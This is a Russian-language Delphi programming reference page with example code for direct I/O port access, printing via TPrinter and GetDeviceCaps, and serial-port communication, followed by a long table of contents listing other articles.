Недокументированный путьВышеуказанная проблема не слишком реальна. Приложение, которое имеет непосредственный доступ к аппаратным средствам, обычно использует некоторые специализированные аппаратные средства. Конфигурация типа той, которая стремиться запустить только одно приложение имеет единственную цель - получить монопольный доступ к этим аппаратным средствам. В этом случае создание драйверов устройств очень нерентабельно. В конце концов, причина хотя бы в том, что это работает под Windows, что можно получить свободно (почти) классный GUI, а не в том, чтобы 10 приложений работало одновременно.
К счастью, в Windows 95 заложена совместимость с Windows 3.x. Это означает, что директивное использование I/O портов также возможно, поскольку до сих пор находятся в эксплуатации множество 16-битных программ, которые просто не могут работать по другому. Просто в этом случае при кодировании вам придется спуститься до уровня ассемблера. Автор следующего кода Arthur Hoornweg:
function getport(p:word):byte; stdcall;
begin
asm
push edx
push eax
mov dx,p
in al,dx
mov @result,al
pop eax
pop edx
end;
end;
Procedure Setport(p:word;b:byte);Stdcall;
begin
asm
push edx
push eax
mov dx,p
mov al,b
out dx,al
pop eax
pop edx
end;
end;
|
François Piette также предлагает свое решение прямого доступа к портам I/O на страничке http://rtfm.netline.be/fpiette/portiofr.htm.
Как насчет NT?Но все вышесказанное под Windows NT работать не будет. NT более "прочная" операционная система, поэтому если она позволит в любое время кому попало обращаться к любым аппаратным средствам, она не была бы такой устойчивой. Кроме того, NT является кроссплатформенной системой, поэтому доступ к I/O портам может кардинально различаться при работе на различных процессорах.
Но тем не менее даже под NT можно добраться непосредственно до I/O портов, правда только на x86 процессорах. Это не является документированной особенностью, и, вероятно, исчезнет в будущих версиях этой операционной системы.
Я не обладаю достаточно полной информацией по этому вопросу, но интересующая нас статья D. Roberts в майском номере журнала Dr. Dobb's Journal за 1996 год так и называется "Direct Port I/O and Windows NT." К сожалению, я так и не нашел времени проверить приведенный там код. Статью и посвященный ей флейм вы можете почитать по адресу http://www.ddj.com.
Также рекомендую ознакомиться с опубликованной в Windows Developer Journal статьей "Port I/O under Windows." Опубликована Karen Hazzah в июне 1996 года. Статью и посвященный ей флейм вы можете найти по адресу http://www.wdj.com.
Ресурсы(Примечание, я не очень много знаю об этих ресурсах, проверьте их пожалуйста сами.).
Существуют новостные группы, посвященные написанию VxD и VDD:
Comp.os.ms-windows.programmer.nt.kernel-mode (VDD).
Comp.os.ms-windows.programmer.vxd (VxD).
Dejanews (http://www.dejanews.com) выдает достаточно много результатов, если для поиска задать фразу 'device driver direct I/O access 95'.
Компания BlueWater Systems разработала OCX, осуществляющее прямой доступ к I/O портам, памяти и прерываниям, работающее под всеми Win32 платформами. Они также, кажется, предлагают изготовление драйверов устройств под заказ. Посмотрите их сервер по адресу http://www.bluewatersystems.com.
Я сляшал, что какая-то другая компания также рекламировала свои услуги в области разработчики VxD, но я не нашел их адреса.
Работа с принтером.
| Звонок в фирму, которая занимается ремонтом компьютеров: - Мой принтер начал плохо печатать! - Вероятно его надо просто почистить. Это стоит $50. Но для Вас будет лучше, если Вы прочтете инструкцию и выполните эту работу сами. Клиент, удивленный такой откровенностью спрашивает: - А Ваш босс знает, что Вы таким образом препятствуете бизнесу? - На самом деле, это его идея. Мы получаем куда больше прибыли, когда позволяем нашим клиентам сначала самим попытаться что-то отремонтировать. |
Delphi имеет стандартный объект для доступа к принтеру - TPRINTER, находящийся в модуле PRINTERS. В этом модуле имеется переменная Printer:Tpinter, что избавляет от необходимости описывать свою. Он позволяет выводить данные на печать и управлять процессом печати. Правда, в некоторых версиях Delphi 1 он имеет "глюк" - не работают функции Draw и StrethDraw. Но эта проблема поправима - можно использовать функции API. Далее приведены основные поля и методы объекта Printers :
СВОЙСТВА
Aborted: boolean - Показывает, что процесс печати прерван Canvas: Tcanvas - Стандартный Canvas, как у любого графического объекта. Он позволяет рисовать на листе бумаге графику, выводить текст ... . Тут есть несколько особенностей, они описаны после описания объекта. Fonts: Tstrings - Возвращает список шрифтов, поддерживаемых принтером Handle: HDS - Получить Handle на принтер для использования функций API (см. Далее) Orientation: TprinterOrientation - Ориентация листа при печати : (poPortrait, poLandscape) PageHeight: integer - Высота листа в пикселах PageNumber: integer - Номер страницы, увеличивается на 1 при каждом NewPage PageWidth: integer - Ширина листа в пикселах PrinterIndex: integer - Номер используемого принтера по списку доступных принтеров Printers Printers: TStrings - Список доступных принтеров Printing: boolean - Флаг, показывающий, что сейчас идет процесс печати Title: String - Имя документа или приложения. Под этим именем задание на печать регистрируется в диспетчере печатиМЕТОДЫ
AssignPrn(f: TextFile) - Связать текстовый файл с принтером. Далее вывод информации в этот файл приводит к ее печати. Удобно в простейших случаях. Abort - Сбросить печать BeginDoc - Начать печать NewPage - Начать новую страницу EndDoc - Завершить печать.Пример:
procedure TForm1.Button1Click(Sender: TObject);
begin
with Printer do
begin
BeginDoc; { Начало печати }
Canvas.Font:=label1.font; { Задали шрифт }
Canvas.TextOut(100,100,'Это тест принтера !!!'); { Печатаем текст }
EndDoc; { Конец печати }
end;
end;
|
Особенности работы с TPrinter
После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и , главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут". У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.Определение параметров принтера через API.
Для определения информации о принтере (плоттере, экране) необходимо знать Handle этого принтера, а его можно узнать объекта TPrinter - Printer.Handle.
Далее вызывается функция API (unit WinProcs):
GetDevice(Handle:HDC; Index:integer):integer; |
Index - код параметра, который необходимо вернуть.
Для Index существует ряд констант :
DriverVersion - вернуть версию драйвера Texnology - Технология вывода, их много, основные dt_Plotter - плоттер dt_RasPrinter - растровый принтер dt_Display - дисплей HorzSize - Горизонтальный размер листа (в мм) VertSize - Вертикальный размер листа (в мм) HorzRes - Горизонтальный размер листа (в пикселах) VertRes - Вертикальный размер листа (в пикселах) LogPixelX - Разрешение по оси Х в dpi (пиксел /дюйм) LogPixelY - Разрешение по оси Y в dpi (пиксел /дюйм)Кроме перечисленных еще около сотни, они позволяют узнать о принтере практически все. Параметры, возвращаемые по LogPixelX и LogPixelY очень важны - они позволяют произвести пересчет координат из миллиметров в пиксели для текущего разрешения принтера.
Пример таких функций:
{ Получить информацию о принтере }
procedure TForm1.GetPrinterInfo;
begin
PixelsX:=GetDeviceCaps(printer.Handle, LogPixelsX);
PixelsY:=GetDeviceCaps(printer.Handle, LogPixelsY);
end;
{ переводит координаты из мм в пиксели }
function TForm1.PrinterCoordX(x: integer): integer;
begin
PrinterCoordX:=round(PixelsX/25.4*x);
end;
{ переводит координаты из мм в пиксели }
function TForm1.PrinterCoordY(Y: integer): integer;
begin
PrinterCoordY:=round(PixelsY/25.4*Y);
end;
GetPrinterInfo;
Printer.Canvas.TextOut(PrinterCoordX(30), PrinterCoordY(55),
'Этот текст печатается с отступом 30 мм от левого края и '+
'55 мм от верха при любом разрешении принтера');
|
Данную методику можно с успехом применять для печати картинок - зная размер картинки можно пересчитать ее размеры в пикселах для текущего разрешения принтера, масштабировать, и затем уже распечатать. Иначе на матричном принтере (180 dpi) картинка будет огромной, а на качественном струйнике (720 dpi) - микроскопической.
Я производил печать следующим образом:
procedure TForm6.SpeedButton1Click(Sender: TObject);
var
PRect: Trect;
PBitMap: TBitmap;
begin
PBitmap:=TBitMap.Create;
PBitmap.LoadFromFile('C:\1.bmp');
with PRect do
begin
left:=0;
top:=0;
right:=Printer.PageWidth;
Bottom:=Printer.PageHeight;
end;
with printer do
begin
BeginDoc;
font.name:='Times New Roman';
Canvas.StretchDraw(PRect,Bitmap);
EndDoc;
end;
PBitmap.Free;
end;
|
Работа с последовательными портами.
//{$DEFINE COMM_UNIT}
//Простой пример работы с последовательными портами
//Код содержит интуитивно понятные комментарии и строки на шведском языке,
//нецелесообразные для перевода.
//Compiler maakt Simple_Comm.Dll of Simple_Com.Dcu afhankelijk van 1e Regel
(COMM_UNIT)
{$IFNDEF COMM_UNIT}
library Simple_Comm;
{$ELSE}
unit Simple_Comm;
interface
{$ENDIF}
uses Windows, Messages;
const
M_BaudRate = 1;
const
M_ByteSize = 2;
const
M_Parity = 4;
const
M_Stopbits = 8;
{$IFNDEF COMM_UNIT}
{$R Script2.Res} //versie informatie
{$ENDIF}
{$IFDEF COMM_UNIT}
function Simple_Comm_Info: PChar; StdCall;
function
Simple_Comm_Open(Port: PChar; BaudRate: DWORD; ByteSize, Parity, StopBits:
Byte; Mas
k: Integer; WndHandle: HWND; WndCommand: UINT; var Id: Integer): Integer;
StdCall;
function Simple_Comm_Close(Id: Integer): Integer; StdCall;
function
Simple_Comm_Write(Id: Integer; Buffer: PChar; Count: DWORD): Integer; StdCall;
function Simple_Comm_PortCount: DWORD; StdCall;
const
M_None = 0;
const
M_All = 15;
implementation
{$ENDIF}
const
InfoString = 'Simple_Comm.Dll (c) by E.L. Lagerburg 1997';
const
MaxPorts = 5;
const
bDoRun: array[0..MaxPorts - 1] of boolean
= (False, False, False, False, False);
const
hCommPort: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
hThread: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
dwThread: array[0..MaxPorts - 1] of Integer = (0, 0, 0, 0, 0);
const
hWndHandle: array[0..MaxPorts - 1] of Hwnd = (0, 0, 0, 0, 0);
const
hWndCommand: array[0..MaxPorts - 1] of UINT = (0, 0, 0, 0, 0);
const
PortCount: Integer = 0;
function Simple_Comm_Info: PChar; stdcall;
begin
Result := InfoString;
end;
//Thread functie voor lezen compoort
function Simple_Comm_Read(Param: Pointer): Longint; stdcall;
var
Count: Integer;
id: Integer;
ReadBuffer: array[0..127] of byte;
begin
Id := Integer(Param);
while bDoRun[id] do
begin
ReadFile(hCommPort[id], ReadBuffer, 1, Count, nil);
if (Count > 0) then
begin
if ((hWndHandle[id] <> 0) and
(hWndCommand[id] > WM_USER)) then
SendMessage(hWndHandle[id], hWndCommand[id], Count,
LPARAM(@ReadBuffer));
end;
end;
Result := 0;
end;
//Export functie voor sluiten compoort
function Simple_Comm_Close(Id: Integer): Integer; stdcall;
begin
if (ID < 0) or (id > MaxPorts - 1) or (not bDoRun[Id]) then
begin
Result := ERROR_INVALID_FUNCTION;
Exit;
end;
bDoRun[Id] := False;
Dec(PortCount);
FlushFileBuffers(hCommPort[Id]);
if not
PurgeComm(hCommPort[Id], PURGE_TXABORT + PURGE_RXABORT + PURGE_TXCLEAR +
PURGE_RXCL
EAR) then
begin
Result := GetLastError;
Exit;
end;
if WaitForSingleObject(hThread[Id], 10000) = WAIT_TIMEOUT then
if not TerminateThread(hThread[Id], 1) then
begin
Result := GetLastError;
Exit;
end;
CloseHandle(hThread[Id]);
hWndHandle[Id] := 0;
hWndCommand[Id] := 0;
if not CloseHandle(hCommPort[Id]) then
begin
Result := GetLastError;
Exit;
end;
hCommPort[Id] := 0;
Result := NO_ERROR;
end;
procedure Simple_Comm_CloseAll; stdcall;
var
Teller: Integer;
begin
for Teller := 0 to MaxPorts - 1 do
begin
if bDoRun[Teller] then
Simple_Comm_Close(Teller);
end;
end;
function GetFirstFreeId: Integer; stdcall;
var
Teller: Integer;
begin
for Teller := 0 to MaxPorts - 1 do
begin
if not bDoRun[Teller] then
begin
Result := Teller;
Exit;
end;
end;
Result := -1;
end;
//Export functie voor openen compoort
function
Simple_Comm_Open(Port: PChar; BaudRate: DWORD; ByteSize, Parity, StopBits:
Byte; Mas
k: Integer; WndHandle: HWND; WndCommand: UINT; var Id: Integer): Integer;
stdcall;
var
PrevId: Integer;
ctmoCommPort: TCOMMTIMEOUTS; //Lees specificaties voor de compoort
dcbCommPort: TDCB;
begin
if (PortCount >= MaxPorts) or (PortCount < 0) then
begin
result := error_invalid_function;
exit;
end;
result := 0;
previd := id;
id := getfirstfreeid;
if id = -1 then
begin
id := previd;
result := error_invalid_function;
exit;
end;
hcommport[id] := createfile(port, generic_read or
generic_write, 0, nil, open_existing, file_attribute_normal, 0);
if hcommport[id] = invalid_handle_value then
begin
bdorun[id] := false;
id := previd;
result := getlasterror;
exit;
end;
//lees specificaties voor het comm bestand
ctmocommport.readintervaltimeout := maxdword;
ctmocommport.readtotaltimeoutmultiplier := maxdword;
ctmocommport.readtotaltimeoutconstant := maxdword;
ctmocommport.writetotaltimeoutmultiplier := 0;
ctmocommport.writetotaltimeoutconstant := 0;
//instellen specificaties voor het comm bestand
if not setcommtimeouts(hcommport[id], ctmocommport) then
begin
bdorun[id] := false;
closehandle(hcommport[id]);
id := previd;
result := getlasterror;
exit;
end;
//instellen communicatie
dcbcommport.dcblength := sizeof(tdcb);
if not getcommstate(hcommport[id], dcbcommport) then
begin
bdorun[id] := false;
closehandle(hcommport[id]);
id := previd;
result := getlasterror;
exit;
end;
if (mask and m_baudrate <> 0) then
dcbCommPort.BaudRate := BaudRate;
if (Mask and M_ByteSize <> 0) then
dcbCommPort.ByteSize := ByteSize;
if (Mask and M_Parity <> 0) then
dcbCommPort.Parity := Parity;
if (Mask and M_Stopbits <> 0) then
dcbCommPort.StopBits := StopBits;
if not SetCommState(hCommPort[Id], dcbCommPort) then
begin
bDoRun[Id] := FALSE;
CloseHandle(hCommPort[Id]);
Id := PrevId;
Result := GetLastError;
Exit;
end;
//Thread voor lezen compoort
bDoRun[Id] := TRUE;
hThread[Id] := CreateThread(nil, 0, @Simple_Comm_Read, Pointer(Id), 0,
dwThread[Id]
);
if hThread[Id] = 0 then
begin
bDoRun[Id] := FALSE;
CloseHandle(hCommPort[Id]);
Id := PrevId;
Result := GetLastError;
Exit;
end
else
begin
SetThreadPriority(hThread[Id], THREAD_PRIORITY_HIGHEST);
hWndHandle[Id] := WndHandle;
hWndCommand[Id] := WndCommand;
Inc(PortCount);
Result := NO_ERROR;
end;
end;
//Export functie voor schrijven naar compoort;
function
Simple_Comm_Write(Id: Integer; Buffer: PChar; Count: DWORD): Integer; stdcall;
var
Written: DWORD;
begin
if (Id < 0) or (id > Maxports - 1) or (not bDoRun[Id]) then
begin
Result := ERROR_INVALID_FUNCTION;
Exit;
end;
if not WriteFile(hCommPort[Id], Buffer, Count, Written, nil) then
begin
Result := GetLastError();
Exit;
end;
if (Count <> Written) then
Result := ERROR_WRITE_FAULT
else
Result := NO_ERROR;
end;
//Aantal geopende poorten voor aanroepende applicatie
function Simple_Comm_PortCount: DWORD; stdcall;
begin
Result := PortCount;
end;
{$IFNDEF COMM_UNIT}
exports
Simple_Comm_Info Index 1,
Simple_Comm_Open Index 2,
Simple_Comm_Close Index 3,
Simple_Comm_Write Index 4,
Simple_Comm_PortCount index 5;
procedure DLLMain(dwReason: DWORD);
begin
if dwReason = DLL_PROCESS_DETACH then
Simple_Comm_CloseAll;
end;
begin
DLLProc := @DLLMain;
DLLMain(DLL_PROCESS_ATTACH); //geen nut in dit geval
end.
{$ELSE}
initialization
finalization
Simple_Comm_CloseAll;
end.
{$ENDIF}
Другое решение: создание модуля I / O(ввода / вывода)под Windows 95 / NT.Вот он:
)
(с TDCB в SetCommStatus вы можете управлять DTR и т.д.)
(Примечание: XonLim и XoffLim не должны быть больше 600, иначе под NT это
работает неправильно)
unit My_IO;
interface
function OpenComm(InQueue, OutQueue, Baud: LongInt): Boolean;
function SetCommTiming: Boolean;
function SetCommBuffer(InQueue, OutQueue: LongInt): Boolean;
function SetCommStatus(Baud: Integer): Boolean;
function SendCommStr(S: string): Integer;
function ReadCommStr(var S: string): Integer;
procedure CloseComm;
var
ComPort: Word;
implementation
uses Windows, SysUtils;
const
CPort: array[1..4] of string = ('COM1', 'COM2', 'COM3', 'COM4');
var
Com: THandle = 0;
function OpenComm(InQueue, OutQueue, Baud: LongInt): Boolean;
begin
if Com > 0 then
CloseComm;
Com := CreateFile(PChar(CPort[ComPort]),
GENERIC_READ or GENERIC_WRITE,
0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := (Com > 0) and SetCommTiming and
SetCommBuffer(InQueue, OutQueue) and
SetCommStatus(Baud);
end;
function SetCommTiming: Boolean;
var
Timeouts: TCommTimeOuts;
begin
with TimeOuts do
begin
ReadIntervalTimeout := 1;
ReadTotalTimeoutMultiplier := 0;
ReadTotalTimeoutConstant := 1;
WriteTotalTimeoutMultiplier := 2;
WriteTotalTimeoutConstant := 2;
end;
Result := SetCommTimeouts(Com, Timeouts);
end;
function SetCommBuffer(InQueue, OutQueue: LongInt): Boolean;
begin
Result := SetupComm(Com, InQueue, OutQueue);
end;
function SetCommStatus(Baud: Integer): Boolean;
var
DCB: TDCB;
begin
with DCB do
begin
DCBlength := SizeOf(Tdcb);
BaudRate := Baud;
Flags := 12305;
wReserved := 0;
XonLim := 600;
XoffLim := 150;
ByteSize := 8;
Parity := 0;
StopBits := 0;
XonChar := #17;
XoffChar := #19;
ErrorChar := #0;
EofChar := #0;
EvtChar := #0;
wReserved1 := 65;
end;
Result := SetCommState(Com, DCB);
end;
function SendCommStr(S: string): Integer;
var
TempArray: array[1..255] of Byte;
Count, TX_Count: Integer;
begin
for Count := 1 to Length(S) do
TempArray[Count] := Ord(S[Count]);
WriteFile(Com, TempArray, Length(S), TX_Count, nil);
Result := TX_Count;
end;
function ReadCommStr(var S: string): Integer;
var
TempArray: array[1..255] of Byte;
Count, RX_Count: Integer;
begin
S := '';
ReadFile(Com, TempArray, 255, RX_Count, nil);
for Count := 1 to RX_Count do
S := S + Chr(TempArray[Count]);
Result := RX_Count;
end;
procedure CloseComm;
begin
CloseHandle(Com);
Com := -1;
end;
end.
|
Содержание.
- Универсальный создатель формы.
- Unix-строки (чтение и запись Unix-файлов).
- Универсальное и быстрое перекодирование строки из кодировок ANSI, KOI8-R, KOI8-U, OEM-DOS, ISO.
- Перекодировка строк из одной кодировки в другую.
- Создаём собственный UnRar, используя unrar.dll.
- Как избавиться от зарегистрированного имени сервера.
- Как сделать, чтобы первая буква каждого слова в строке была в верхнем регистре.
- Перевод символа в верхний регистр для русского алфавита.
- Внести изменения в набор данных и не потерять текушей позиции.
- Обработка нажатий клавиш вверх-вниз.
- Вывести типы URL для Internet Explorer.
- Несколько полезных функций для работы со строками.
- Шутки над пользователем.
- Автоматическое сохранение или загрузка установок пользователя.
- Пользовательские варианты.
- Как можно использовать DLL.
- Uses в DLL.
- Использование таблиц Access.
- Использование таблиц Access2.
- Использование анимированных курсоров.
- Использование анимированных курсоров 2.
- Компонент на основе TImageList позволяет использовать в приложении анимированные иконки.
- Как использовать в своей программе API DirectSound и DirectSound3D.
- Работа с автоинкрементальными (AutoInc) полями.
- Использование BDE в сети.
- Использование ChartFX.
- Работа с индексами Clipper-а.
- Коллекции и работа с ними.
- Как использовать консоль в не-консольном приложении.
- Использование C-шной DLL.
- Обрабатываем выделенные строки в DBGrid.
- Добавление псевдонима с помощью функции DbiAddAlias.
- Использование DBIopenlocklist.
- Простой пример работы с базой данных из DLL.
- Как использовать базу данных BDE, не указывая ее имя.
- Использование Debug API. Пример перехвата вызовов функций Win32 API.
- Использование DirectSound на Delphi.
- Использование функции из DLL.
- Использовать формы, объявленные в DLL.
- Как использовать форму из DLL.
- Использование файла помощи.
- Использование справки HTML Help.
- Вариант использования HTML Help в Делфи.
- Как использовать процедуру mouse_event для имитации событий мыши.
- Использование многомерного массива.
- Использование холста в собственных компонентах.
- Как приложению воспользоваться своими шрифтами.
- Как использовать протокол about.
- Как можно использовать протокол res.
- Работа с Sender.
- Использование ServerSocket и ClientSocket.
- Использование стенографии.
- Как использовать Список Задач (Tasklist).
- Использование TFileStream.
- Использование Tools Interface.
- Использование TParser.
- Использование Try.
- Как использовать клавишу-акселератор в TTabSheets.
- Работа с Winsock на Delphi.
- Как использовать встроенные в Windows иконки в своём приложении.
- Использование и создание DLL в Delphi.
- Использование DLL в Delphi.
- Список зависимых файлов.
- UUE кодирование.
- Проверка дат.
- Пример переменного количества параметров.
- Переменное количество параметров любого типа.
- Пример переменной записи.
- Указатель на вариантный тип - предупреждение.
- Конвертация Variant в Integer.
- Как преобразовать значение любого типа в строку.
- Классовые и статические переменные общего доступа.
- Передача переменных форме.
- Вставка текста (программно сгенерированной HTML-страницы) в TWebBrowser (не из файла, а из текстовой переменной).
- Как преобразовать строку в дату.
- Вариантные типы.
- Как сообщить какую-то глобальную переменную всем окнам программы (даже скрытым).
- VBX в приложениях DELPHI - как распространять.
- Использование контекстного меню с VBX.
- Иерархия VCL.
- Как научить VCL делать Refresh для запросов правильно.
- Основы 3D математики - Векторные и матричные преобразования.
- Как вытащить VersionInfo из свойств проекта.
- Информация о версии (Version Info) в Delphi EXE.
- Отобразить информацию из Version Info проекта.
- Форма с данными о приложении Version Info.
- Рекомендации по заполнению таблицы Version Info.
- Вертикальный текст.
- Вертикальный TitleBar.
- Функции VER.DLL.
- Показывать значения в двоичном представлении.
- Показывать значения в шестнадцатеричном представлении.
- Вирус на Delphi.
- Коды виртуальных клавиш.
- Virtual ListView с контекстным меню.
- Как конвертировать виртуальную клавишу в ASCII код.
- Введение в вирусы.
- Визуализация нажатия кнопки.
- Визуальный HTML редактор своими руками.
- Как редактировать таблицы виртуальных и динамических методов.
- Исследование VoiceMan v1.0.
- Контроль звука.
- Класс-оболочка для объекта синхронизации WaitableTimer.
- Открыть документ и дождаться завершения работы с ним.
- Переход в ждущий режим под WinNT.
- Как запустить и подождать завершения 2х процессов.
- Подождать завершения DOS-задачи.
- Подождать завершения DOS-задачи 2.
- Подождать завершения DOS-задачи 3.
- Как определить, что моё приложение хотят завершить.
- Определить, что изменились настройки экрана.
- Обнаружение прокрутки TListBox.
- Как определить - нажал ли пользователь клавишу PrintScreen.
- Проверка изменения данных таблицы.
- Waveform Audio Win32 API.
- Формат Wave-файла.
- Проигрывание wave-файла, помещенного в ресурс.
- Получить информацию о WAV файле.
- Определить длину WAV файла.
- WAV в EXE.
- Пример чтения и сохранения wav-файлов.
- Запись WAV-файлов.
- Включение wav-файла в exe и проигрывание этого wav-файла.
- Как добавить в исполняемый файл WAV-файл и затем проиграть этот звук.
- Реализация кнопок Вперед, Назад и Отмена для TWebBrowser.
- Как поменять цвет или стиль бордюра в TWebBrowser.
- Использовать событие OnDocumentComplete у TWebBrowser при наличии фреймов.
- Перевести TWebBrowser в режим редактирования.
- Получить и сохранить HTML-код из TWebBrowser.
- Получить выделенные объекты из TWebBrowser.
- Спрятать скроллбары в TWebBrowser.
- Получить свойства всех картинок в TWebBrowser.
- Нажать кнопку Submit в TWebBrowser если она в виде картинки.
- Получить информацию об элементе управления TWebBrowser.
- Проверить активность команды Copy в TWebBrowser.
- Проверить страницу в TWebBrowser на локальность.
- Создать TWebBrowser во время выполнения программы.
- Нажать определенную кнопку на форме в TWebBrowser.
- Открытие локальных файлов в TWebBrowser и прямое открытие ссылок.
- Реализация установки страницы и печати для TWebBrowser.
- Свои настройки Proxy в программе с TWebBrowser.
- Получить доступ к радио кнопкам в TWebBrowser.
- Сохранить исходный код всех фреймов TWebBrowser.
- Сохранить все картинки TWebBrowser.
- Передать фокус TWebBrowser.
- Передать фокус TWebBrowser 2.
- Сохранить страницу TWebBrowser в Bitmap.
- Масштабирование страницы в TWebBrowser.
- Как добавить текущую страницу TWebBrowser в Favorites.
- Как поменять цвет скроллбаров в TWebBrowser.
- Использование Drag and Drop для заполнения полей в TWebBrowser.
- Получить все URLs фреймов в TWebBrowser.
- Как скрыть контекстное меню TWebBrowser.
- Как загрузить HTML код непосредственно в TWebBrowser.
- Как добраться до конкретного фрейма.
- Использование функциональности IE или заметки о WebBrowser.
- Сохранить страницу в WebBrowser на диск.
- Распечатать страницу в TWebBrowser.
- Работа с печатью в TWebBrowser.
- Показать диалог свойства TWebBrowser.
- Отправить данные формы с помощью WebBrowser.
- Как проверить, является ли текущее соединение в TWebBrowser Secure (SSL).
- WEB страничка внутри Delphi приложения.
- Как получить страницу с вебсервера при помощи TClientSocket и поместить её в строковую переменную.
- Delphi6 и Web-сервисы.
- Показать исходный код Web-страницы в TMemo.
- Число текущей недели.
- Число текущей недели 2.
- Число текущей недели 3.
- Контроль веса.
- Что делает сообщение, какие значения используются для каждого поля сообщения и какие возвращаемые значения ожидаются или задаются Windows.
- Что такое порт (правила работы с портами).
- Самый быстрый способ определить подкакой виндой вы находитись (NT или Win9X) на Assemblere.
- Получить диапазон, прокручиваемый колесиком мышки.
- Чтобы при выполнении длительного цикла другие приложения не подвисали.
- Зачем ломают программы или крэкеры на воле.
- Почему я должен устанавливать BDE.
- Как конвертировать WideString в String.
- Прозрачные меню для XP, Win2000.
- Программирование на основе Win32 API в Delphi.
- Основы работы с Win32API.
- Win95 или WinNT для Delphi1.
- Для чего нужен WinAPI.
- Cracking WinDAC32 Version 1.41.
- Позиционирование диалога с сообщением над формой.
- TListView и TTreeView - Windows Explorer.
- Пространство имён оболочки Windows.
- Узнать о завершении работы Windows.
- Вызвать диалог завершения работы с Windows.
- Узнать версию Windows.
- Текущая позиция окна.
- Можно ли заблокировать обновление определенного окна.
- Окно без заголовка.
- Запуск внешней программы.
- Как взломать WinRoute Lite v3.0.
- Проверить, доступен ли WinSock.
- WinWord через DDE.
- Создание Аккаунта в Windows, используя ADSI (Активные директории).
- Узнать версию Windows и DOS.
- Коды ошибок Windows.
- Оповещение всей системы о изменении WIN.INI.
- Определить, что WIN.INI был изменен.
- Сообщения Windows - введение.
- Убедиться, что приложение (окно) не отвечает.
- Убедиться, что приложение (окно) не отвечает 2.
- Получить информацию о регистрации Windows – имя владельца и компанию.
- Окно по рисунку.
- Определить завершение работы Windows.
- Как корректно перехватить сигнал выгрузки операционной системы, если в моей программе нет окна.
- Вывести диалог завершения работы Windows.
- Получить информацию об используемой схеме оформления Windows.
- Перекодировка текста из Win кодировки в КОИ-8 и обратно.
- Получить время работы Windows.
- Удалить файл навсегда.
- Подать звуковой сигнал без использования ресурсов Windows.
- Без иконки в панели задач.
- Как можно обойтись без TTimer и наиболее рационально использовать ресурсы системы.
- Записываем в Access используя ADO.
- Работа с другим приложением без Hook и DLL на примере GetFocus.
- Как преобразовать WMF в BMP.
- WMI - практика применения в Delphi.
- WM_ACTIVATE.
- WM_ACTIVATEAPP.
- WM_CANCELMODE.
- Связь между процессами при помощи WM_COPYDATA.
- WM_CLOSE.
- Перетаскивать файлы в свою программу - WM_DROPFILES.
- WM_GETMINMAXINFO.
- Перемещение окна вне заголовка.
- Перемещение окна вне заголовка 2.
- Перемещение окна вне заголовка 3.
- Обработка WM_SysCommand.
- Узнать, когда пользователь или программа изменили системное время - WM_TIMECHANGE.
- WordBasic через OLE.
- Wordbasic с параметрами из Delphi.
- Как WordDocument разбить на страницы.
- Управление Word-ом из Delphi.
- Запуск Word без автостартующего (AutoStart) макроса.
- Автоматизация документов WORD.
- Как прочитать или изменить свойства Word документа.
- Как прочитать или изменить свойства Word документа 2.
- Импорт активного документа Word.
- Как в Word макросом удалить символы возврата каретки.
- Автоматизация Word с OLE.
- Word, OutLook и OLE.
- Работа с MsWord из Delphi - Нестандартные отчёты.
- Вывести информацию о пользователях, подключенных к рабочей станции.
- Получить даты с понедельника по пятницу текущей недели.
- Заставить Delphi работать с достаточно большим массивом данных.
- Как работать с битами.
- Как удобнее работать с буфером обмена как с последовательностью байт.
- Работа с цветами.
- Как работать с компонентами по их индексу.
- Работа с директориями в Delphi.
- Delphi - Работа над ошибками.
- Как работать со всеми фреймами, отображёнными в данный момент в WebBrowser.
- Работа с INI файлами.
- Работа с JPEG-изображениями.
- Работа с OpenGL - Введение.
- Работа с OpenGL - Минимальная программа.
- Как работать с плагинами.
- Работа с портами под Win95, обзор и теория.
- Работа с принтером.
- Работа с последовательными портами.